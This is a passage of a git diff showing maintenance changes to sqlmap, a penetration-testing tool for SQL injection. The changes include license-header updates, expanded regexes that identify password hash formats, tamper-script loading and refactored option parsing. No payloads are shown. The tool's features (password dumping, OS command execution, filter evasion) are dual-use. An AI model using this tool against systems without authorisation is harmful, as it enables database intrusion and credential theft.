'666f6f626172' """ - return utf8encode(value).encode("hex") + return unicodeencode(value, encoding).encode("hex") def unicodeencode(value, encoding=None): """ @@ -166,7 +166,7 @@ def htmlunescape(value): retVal = value if value and isinstance(value, basestring): - codes = (('<', '<'), ('>', '>'), ('"', '"'), (' ', ' '), ('&', '&')) + codes = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) try: retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal) @@ -193,7 +193,7 @@ def stdoutencode(data): warnMsg = "cannot properly display Unicode characters " warnMsg += "inside Windows OS command prompt " warnMsg += "(http://bugs.python.org/issue1602). All " - warnMsg += "unhandled occurances will result in " + warnMsg += "unhandled occurrences will result in " warnMsg += "replacement with '?' character. Please, find " warnMsg += "proper character representation inside " warnMsg += "corresponding output files. " diff --git a/lib/core/data.py b/lib/core/data.py index c7bd39feb4d..63cd4e8d971 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 10251f38962..85238cd06f6 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import copy diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 283259d091b..c4040f26720 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import hashlib + def cachedmethod(f, cache={}): """ Method with a cached content @@ -13,14 +15,9 @@ def cachedmethod(f, cache={}): """ def _(*args, **kwargs): - try: - key = (f, tuple(args), frozenset(kwargs.items())) - if key not in cache: - cache[key] = f(*args, **kwargs) - except: - key = "".join(str(_) for _ in (f, args, kwargs)) - if key not in cache: - cache[key] = f(*args, **kwargs) + key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16) + if key not in cache: + cache[key] = f(*args, **kwargs) return cache[key] diff --git a/lib/core/defaults.py b/lib/core/defaults.py index 98b4c587075..209e0999e62 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { - "csvDel": ",", + "csvDel": ',', "timeSec": 5, "googlePage": 1, "verbose": 1, diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 919bf58611b..d999fb07229 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -184,10 +184,10 @@ DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), - DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"), + DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), - DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"), - DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"), + DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), + DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), @@ -272,8 +272,10 @@ "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", + "--ignore-401": "use '--ignore-code' instead", "--check-payload": None, "--check-waf": None, + "--pickled-options": "use '--api -c ...' instead", } DUMP_DATA_PREPROCESS = { diff --git a/lib/core/dump.py b/lib/core/dump.py index cd4a93be975..7a7928dbe85 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import cgi @@ -63,7 +63,7 @@ def __init__(self): self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): - if hasattr(conf, "api"): + if conf.api: dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) return @@ -110,7 +110,7 @@ def singleString(self, data, content_type=None): def string(self, header, data, content_type=None, sort=True): kb.stickyLevel = None - if hasattr(conf, "api"): + if conf.api: self._write(data, content_type=content_type) return @@ -140,11 +140,11 @@ def lister(self, header, elements, content_type=None, sort=True): try: elements = set(elements) elements = list(elements) - elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) except: pass - if hasattr(conf, "api"): + if conf.api: self._write(elements, content_type=content_type) return @@ -191,9 +191,9 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): userSettings = userSettings[0] users = userSettings.keys() - users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + users.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) - if hasattr(conf, "api"): + if conf.api: self._write(userSettings, content_type=content_type) return @@ -227,7 +227,7 @@ def dbs(self, dbs): def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: - if hasattr(conf, "api"): + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) return @@ -270,7 +270,7 @@ def dbTables(self, dbTables): def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: - if hasattr(conf, "api"): + if conf.api: self._write(tableColumns, content_type=content_type) return @@ -285,7 +285,7 @@ def dbTableColumns(self, tableColumns, content_type=None): colType = None colList = columns.keys() - colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) for column in colList: colType = columns[column] @@ -344,7 +344,7 @@ def dbTableColumns(self, tableColumns, content_type=None): def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: - if hasattr(conf, "api"): + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) return @@ -377,7 +377,7 @@ def dbTablesCount(self, dbTables): if count is None: count = "Unknown" - tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) + tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) for table in tables: blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) @@ -403,7 +403,7 @@ def dbTableValues(self, tableValues): db = "All" table = tableValues["__infos__"]["table"] - if hasattr(conf, "api"): + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return @@ -666,7 +666,7 @@ def dbTableValues(self, tableValues): logger.warn(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): - if hasattr(conf, "api"): + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) return diff --git a/lib/core/enums.py b/lib/core/enums.py index 30a6678a0a8..849a6b314a1 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ class PRIORITY: @@ -118,14 +118,30 @@ class HASH: MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' - ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' + ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' - SHA224_GENERIC = r'(?i)\A[0-9a-f]{28}\Z' - SHA384_GENERIC = r'(?i)\A[0-9a-f]{48}\Z' - SHA512_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' - CRYPT_GENERIC = r'(?i)\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' - WORDPRESS = r'(?i)\A\$P\$[./0-9A-Za-z]{31}\Z' + SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' + SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' + SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' + SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z' + CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' + WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' + APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' + APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' + VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' + VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' + SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' + SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' + DJANGO_MD5 = r'\Amd5\$[^$]+\$[0-9a-f]{32}\Z' + DJANGO_SHA1 = r'\Asha1\$[^$]+\$[0-9a-f]{40}\Z' + MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' + SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' + SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' + SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES: @@ -176,6 +192,7 @@ class HTTP_HEADER: PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" + REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" @@ -183,6 +200,7 @@ class HTTP_HEADER: USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" + X_DATA_ORIGIN = "X-Data-Origin" class EXPECTED: BOOL = "bool" @@ -286,31 +304,32 @@ class WEB_API: JSP = "jsp" class CONTENT_TYPE: - TECHNIQUES = 0 - DBMS_FINGERPRINT = 1 - BANNER = 2 - CURRENT_USER = 3 - CURRENT_DB = 4 - HOSTNAME = 5 - IS_DBA = 6 - USERS = 7 - PASSWORDS = 8 - PRIVILEGES = 9 - ROLES = 10 - DBS = 11 - TABLES = 12 - COLUMNS = 13 - SCHEMA = 14 - COUNT = 15 - DUMP_TABLE = 16 - SEARCH = 17 - SQL_QUERY = 18 - COMMON_TABLES = 19 - COMMON_COLUMNS = 20 - FILE_READ = 21 - FILE_WRITE = 22 - OS_CMD = 23 - REG_READ = 24 + TARGET = 0 + TECHNIQUES = 1 + DBMS_FINGERPRINT = 2 + BANNER = 3 + CURRENT_USER = 4 + CURRENT_DB = 5 + HOSTNAME = 6 + IS_DBA = 7 + USERS = 8 + PASSWORDS = 9 + PRIVILEGES = 10 + ROLES = 11 + DBS = 12 + TABLES = 13 + COLUMNS = 14 + SCHEMA = 15 + COUNT = 16 + DUMP_TABLE = 17 + SEARCH = 18 + SQL_QUERY = 19 + COMMON_TABLES = 20 + COMMON_COLUMNS = 21 + FILE_READ = 22 + FILE_WRITE = 23 + OS_CMD = 24 + REG_READ = 25 PART_RUN_CONTENT_TYPES = { "checkDbms": CONTENT_TYPE.TECHNIQUES, @@ -362,10 +381,12 @@ class MKSTEMP_PREFIX: HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" + CONFIG = "sqlmapconfig-" TESTING = "sqlmaptesting-" RESULTS = "sqlmapresults-" COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" + SPECIFIC_RESPONSE = "sqlmapresponse-" class TIMEOUT_STATE: NORMAL = 0 diff --git a/lib/core/exception.py b/lib/core/exception.py index ffb1ab06724..2113de86518 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ class SqlmapBaseException(Exception): @@ -50,6 +50,9 @@ class SqlmapUserQuitException(SqlmapBaseException): class SqlmapShellQuitException(SqlmapBaseException): pass +class SqlmapSkipTargetException(SqlmapBaseException): + pass + class SqlmapSyntaxException(SqlmapBaseException): pass diff --git a/lib/core/log.py b/lib/core/log.py index 7f42ecbe60f..6df49f584ef 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import logging diff --git a/lib/core/option.py b/lib/core/option.py old mode 100755 new mode 100644 index 588800af4a2..be4c321b757 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii @@ -45,7 +45,6 @@ from lib.core.common import getFileItems from lib.core.common import getFileType from lib.core.common import getUnicode -from lib.core.common import isListLike from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile @@ -58,12 +57,11 @@ from lib.core.common import resetCookieJar from lib.core.common import runningAsAdmin from lib.core.common import safeExpandUser +from lib.core.common import saveConfig from lib.core.common import setOptimize from lib.core.common import setPaths from lib.core.common import singleTimeWarnMessage -from lib.core.common import UnicodeRawConfigParser from lib.core.common import urldecode -from lib.core.convert import base64unpickle from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -112,8 +110,7 @@ from lib.core.settings import DEFAULT_TOR_HTTP_PORTS from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DUMMY_URL -from lib.core.settings import IGNORE_SAVE_OPTIONS -from lib.core.settings import INJECT_HERE_MARK +from lib.core.settings import INJECT_HERE_REGEX from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET @@ -152,6 +149,7 @@ from lib.request.rangehandler import HTTPRangeHandler from lib.request.redirecthandler import SmartRedirectHandler from lib.request.templates import getPageTemplate +from lib.utils.har import HTTPCollectorFactory from lib.utils.crawler import crawl from lib.utils.deps import checkDependencies from lib.utils.search import search @@ -243,6 +241,7 @@ def _parseBurpLog(content): if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) + request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) else: scheme, port = None, None @@ -281,7 +280,7 @@ def _parseBurpLog(content): method = match.group(1) url = match.group(2) - if any(_ in line for _ in ('?', '=', CUSTOM_INJECTION_MARK_CHAR)): + if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): params = True getPostReq = True @@ -321,7 +320,7 @@ def _parseBurpLog(content): elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): headers.append((getUnicode(key), getUnicode(value))) - if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): + if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip("\r\n") if data else data @@ -435,7 +434,7 @@ def _setMultipleTargets(): files.sort() for reqFile in files: - if not re.search("([\d]+)\-request", reqFile): + if not re.search(r"([\d]+)\-request", reqFile): continue _feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) @@ -486,14 +485,14 @@ def _setRequestFromFile(): conf.requestFile = safeExpandUser(conf.requestFile) - infoMsg = "parsing HTTP request from '%s'" % conf.requestFile - logger.info(infoMsg) - if not os.path.isfile(conf.requestFile): - errMsg = "the specified HTTP request file " + errMsg = "specified HTTP request file '%s' " % conf.requestFile errMsg += "does not exist" raise SqlmapFilePathException(errMsg) + infoMsg = "parsing HTTP request from '%s'" % conf.requestFile + logger.info(infoMsg) + _feedTargetsDict(conf.requestFile, addedTargetUrls) def _setCrawler(): @@ -545,8 +544,7 @@ def retrieve(): elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " - test = readInput(message, default="Y") - kb.data.onlyGETs = test.lower() != 'n' + kb.data.onlyGETs = readInput(message, default='Y', boolean=True) if not kb.data.onlyGETs or conf.googleDork: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) @@ -573,9 +571,8 @@ def retrieve(): message += "for your search dork expression, but none of them " message += "have GET parameters to test for SQL injection. " message += "Do you want to skip to the next result page? [Y/n]" - test = readInput(message, default="Y") - if test[0] in ("n", "N"): + if not readInput(message, default='Y', boolean=True): raise SqlmapSilentQuitException else: conf.googlePage += 1 @@ -596,7 +593,7 @@ def _setBulkMultipleTargets(): found = False for line in getFileItems(conf.bulkFile): - if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: + if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) @@ -632,7 +629,7 @@ def _findPageForms(): logger.info(infoMsg) if not any((conf.bulkFile, conf.googleDork, conf.sitemapUrl)): - page, _ = Request.queryPage(content=True) + page, _, _ = Request.queryPage(content=True) findPageForms(page, conf.url, True, True) else: if conf.bulkFile: @@ -669,7 +666,7 @@ def _setDBMSAuthentication(): debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) - match = re.search("^(.+?):(.*?)$", conf.dbmsCred) + match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " @@ -695,7 +692,7 @@ def _setMetasploit(): errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " - errMsg += "'http://sourceforge.net/projects/pywin32/files/pywin32/'" + errMsg += "'https://sourceforge.net/projects/pywin32/files/pywin32/'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: @@ -787,7 +784,7 @@ def _(key, value): if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " - errMsg += "You can get it at 'http://www.metasploit.com/download/'" + errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): @@ -864,7 +861,7 @@ def _setDBMS(): logger.debug(debugMsg) conf.dbms = conf.dbms.lower() - regex = re.search("%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) + regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) @@ -897,20 +894,25 @@ def _setTamperingFunctions(): for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False + path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING) - if not script: - continue + try: + if not script: + continue - elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)): - script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script) + elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): + script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) - elif not os.path.exists(script): - errMsg = "tamper script '%s' does not exist" % script - raise SqlmapFilePathException(errMsg) + elif not os.path.exists(script): + errMsg = "tamper script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) - elif not script.endswith(".py"): - errMsg = "tamper script '%s' should have an extension '.py'" % script + elif not script.endswith(".py"): + errMsg = "tamper script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--tamper'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) @@ -928,7 +930,7 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: - module = __import__(filename[:-3]) + module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) except (ImportError, SyntaxError), ex: raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) @@ -944,14 +946,14 @@ def _setTamperingFunctions(): message = "it appears that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " - test = readInput(message, default="Y") + choice = readInput(message, default='Y').upper() - if not test or test[0] in ("y", "Y"): - resolve_priorities = True - elif test[0] in ("n", "N"): + if choice == 'N': resolve_priorities = False - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException + else: + resolve_priorities = True check_priority = False @@ -1001,7 +1003,7 @@ def _setWafFunctions(): try: if filename[:-3] in sys.modules: del sys.modules[filename[:-3]] - module = __import__(filename[:-3]) + module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) @@ -1146,7 +1148,7 @@ def _setHTTPHandlers(): raise SqlmapSyntaxException(errMsg) if conf.proxyCred: - _ = re.search("^(.*?):(.*?)$", conf.proxyCred) + _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) if not _: errMsg = "proxy authentication credentials " errMsg += "value must be in format username:password" @@ -1254,7 +1256,7 @@ def _setSafeVisit(): errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException, errMsg else: - if not re.search("^http[s]*://", conf.safeUrl): + if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: conf.safeUrl = "https://" + conf.safeUrl else: @@ -1374,7 +1376,7 @@ def _setHTTPAuthentication(): except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM, " - errMsg += "http://code.google.com/p/python-ntlm/" + errMsg += "https://github.com/mullender/python-ntlm" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) @@ -1407,8 +1409,8 @@ def _setHTTPExtraHeaders(): raise SqlmapSyntaxException(errMsg) elif not conf.requestFile and len(conf.httpHeaders or []) < 2: - if conf.charset: - conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset)) + if conf.encoding: + conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between # Reference: http://stackoverflow.com/a/1383359 @@ -1486,8 +1488,8 @@ def _setHTTPUserAgent(): userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] - infoMsg = "fetched random HTTP User-Agent header from " - infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) + infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent + infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) @@ -1659,6 +1661,9 @@ def _cleanupOptions(): if conf.delay: conf.delay = float(conf.delay) + if conf.url: + conf.url = conf.url.strip() + if conf.rFile: conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) @@ -1683,17 +1688,28 @@ def _cleanupOptions(): if conf.optimize: setOptimize() - if conf.data: - conf.data = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.data, re.I) + match = re.search(INJECT_HERE_REGEX, conf.data or "") + if match: + kb.customInjectionMark = match.group(0) - if conf.url: - conf.url = re.sub(INJECT_HERE_MARK.replace(" ", r"[^A-Za-z]*"), CUSTOM_INJECTION_MARK_CHAR, conf.url, re.I) + match = re.search(INJECT_HERE_REGEX, conf.url or "") + if match: + kb.customInjectionMark = match.group(0) if conf.os: conf.os = conf.os.capitalize() + if conf.forceDbms: + conf.dbms = conf.forceDbms + if conf.dbms: - conf.dbms = conf.dbms.capitalize() + kb.dbmsFilter = [] + for _ in conf.dbms.split(','): + for dbms, aliases in DBMS_ALIASES: + if _.strip().lower() in aliases: + kb.dbmsFilter.append(dbms) + conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None + break if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') @@ -1753,7 +1769,7 @@ def _cleanupOptions(): conf.string = conf.string.replace(_.encode("string_escape"), _) if conf.getAll: - map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) + map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) if conf.noCast: for _ in DUMP_REPLACEMENTS.keys(): @@ -1766,13 +1782,13 @@ def _cleanupOptions(): conf.torType = conf.torType.upper() if conf.col: - conf.col = re.sub(r"\s*,\s*", ",", conf.col) + conf.col = re.sub(r"\s*,\s*", ',', conf.col) if conf.excludeCol: - conf.excludeCol = re.sub(r"\s*,\s*", ",", conf.excludeCol) + conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol) if conf.binaryFields: - conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields) + conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True @@ -1828,6 +1844,7 @@ def _setConfAttributes(): conf.dumpPath = None conf.hashDB = None conf.hashDBFile = None + conf.httpCollector = None conf.httpHeaders = [] conf.hostname = None conf.ipv6 = False @@ -1843,6 +1860,7 @@ def _setConfAttributes(): conf.scheme = None conf.tests = [] conf.trafficFP = None + conf.HARCollectorFactory = None conf.wFileType = None def _setKnowledgeBaseAttributes(flushAll=True): @@ -1862,6 +1880,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.authHeader = None kb.bannerFp = AttribDict() kb.binaryField = False + kb.browserVerification = None kb.brute = AttribDict({"tables": [], "columns": []}) kb.bruteMode = False @@ -1870,6 +1889,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache.addrinfo = {} kb.cache.content = {} kb.cache.encoding = {} + kb.cache.alphaBoundaries = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} @@ -1889,11 +1909,13 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.connErrorCounter = 0 kb.cookieEncodeChoice = None kb.counters = {} + kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None + kb.dbmsFilter = [] kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] @@ -1901,6 +1923,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.dnsMode = False 